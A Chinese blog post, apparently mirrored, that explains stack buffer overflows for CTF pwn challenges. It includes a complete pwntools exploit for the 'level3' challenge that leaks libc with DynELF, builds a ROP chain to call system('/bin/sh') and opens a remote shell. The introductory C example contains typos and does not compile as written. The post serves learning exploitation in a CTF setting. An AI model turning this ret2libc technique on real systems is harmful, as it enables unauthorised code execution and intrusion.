美文网首页
关于PWN栈溢出的一点总结

关于PWN栈溢出的一点总结

作者: 昂的 | 来源:发表于2019-10-05 16:55 被阅读0次

0*01什么是栈溢出

例子:

#include<stdio.h>

int main(){

    char bur[30]="";

gets(buf);

reture 0;

}

通过gdb调试,我们可以看到buf的储存地址在0×ffffd5d6,push eax来栈入。

当程序继续向下运行的时候,会有返回点,由于gets未对输入的字符串长度进行限制,所以我们可以通过覆盖返回点来控制程序走向。

以攻防世界level1的一个题目为例,程序的溢出点在vulnerable_function中 。

通过执行add esp,0x10, leave可以达到返回点。

则通过ret 将返回到0x8048486,所以当我们将buf读入大量的字符串的时候,输入的字符串可以覆盖到ret的地址,将产生缓冲区溢出。

问题:在输入大量的字符串的过程中不影响程序的运行么?

答:不影响,因为通过调试我们可以看到在变量的读入到ret的地址的栈空间的数据,在程序的运行过程中,直接leave(mov esp ebp;pop ebp)掉,并没有对程序产生直接影响。计算偏移的过程,通过计算字符串与ebp的差值,然后+4即可计算出偏移。

Xman level1题目解题脚本

xman攻防世界的level1题目在远程环境和本地环境中,有所区别,本地可以直接拿到buf泄露的地址,但是在远程环境中,则是先接受输入,然后拿到输出的,在后来的出题过程中发现,是由于没有在题目中置空缓冲区造成的。

在这里用到DynELF来泄露出其libc中system的地址,其大概原理,是不间断的重复执行程序的前两部分,直到得到system字符串,有些类似暴力破解(此处仅个人理解),此也为泄露libc中system的一个template。

from pwn import *

import pwn

#nc pwn2.jarvisoj.com 9879

elf = ELF('./level3')

write_addr = elf.symbols['write']

read_addr = elf.symbols['read']

print(read_addr)

#raw_input()

start_addr = 0x8048350

#level3 = process('./level3')

#level3 = remote('111.198.29.45',42153)

level3 = remote('pwn2.jarvisoj.com',9879)

def leak(address):

  data = level3.recv(7) #这里要特别注意,如果之后每次的跳转是start_addr,那么每次重新执行,都会接受到输出,如果忽略这里,很容易报错。

  print (data)

  payload = 'A' * 140

  payload += p32(write_addr)

  payload += p32(start_addr)

  payload += p32(1)

  payload += p32(address)

  payload += p32(4)

  level3.send(payload)

  leak = level3.recv(4)

  data = u32(leak)

  print(hex(data))

  #print(leak)

  return leak

d = pwn.DynELF(leak,elf=ELF('./level3'))

system = d.lookup('system','libc')

data = level3.recv(7)

print ("data is ",data)

#bss_addr = elf

bss_addr = elf.bss()

pop_addr = 0x8048519

payload = 'A' * 140

payload += p32(read_addr)+p32(pop_addr)

payload += p32(0)

payload += p32(bss_addr)

payload += p32(8)

payload += p32(system)

payload += p32(0xdeadbeef)

payload += p32(bss_addr)

level3.sendline(payload)

#payload = '/bin/sh\x00'

#level3.sendline(payload)

level3.sendline('/bin/sh\x00')

#print(system)

level3.interactive()

0×02栈溢出

相关文章

  • 关于PWN栈溢出的一点总结

    0*01什么是栈溢出 例子: #include int main(){ char bur[30]="";gets...

  • 栈溢出简易指南

    栈 pwn 主题: 基本栈溢出 针对缓存区溢出防护的对策 shellcode 栈溢出的最终目的是执行shellco...

  • [new bugku] pwn

    最简单的pwn nc然后cat flag pwn3 64位栈溢出,程序有后门,栈溢出然后return到后门即可 p...

  • 新手科普 | CTF PWN堆溢出总结

    新手科普 | CTF PWN堆溢出总结 pwn堆溢出基础 CTF pwn 中最通俗易懂的堆入坑指南CTF pwn ...

  • Int 0x80 ROP链(x86)

    2017年湖湘杯的一道pwn题 2017 湖湘杯 pwn300 用memcpy把堆中数据向栈上写的时候造成栈溢出 ...

  • 堆栈基础(一)

    新手入门pwn之栈溢出系列,先学习堆栈的基础,函数调用栈这些. 运行时栈 运行时栈(runtime stack)是...

  • pwn write_up 合集

    一、bugkuctf pwn4(栈,ROP,system($0)) 图1很容易看出来read函数栈溢出 紧接着就是...

  • pwn栈溢出-基本ROP

    0. 前言 接触ctf一年有余,作为一名ctf老菜鸟,没写过一篇ctf相关博客,确实不该。 本文介绍pwn入门操作...

  • ogeek2019_pwn

    太菜了,只做出了3道pwn babyrop 利用'\x00'绕过strlen的检查,然后栈溢出rop bookma...

  • pwn学习之——花式栈溢出

    第一步看看保护措施,确定方略,再看看ida里面有用信息: 看到是栈的溢出漏洞,但是发现栈空间不够写指令,又发现题目...

网友评论

      本文标题:关于PWN栈溢出的一点总结

      本文链接:https://www.haomeiwen.com/subject/pnwiuctx.html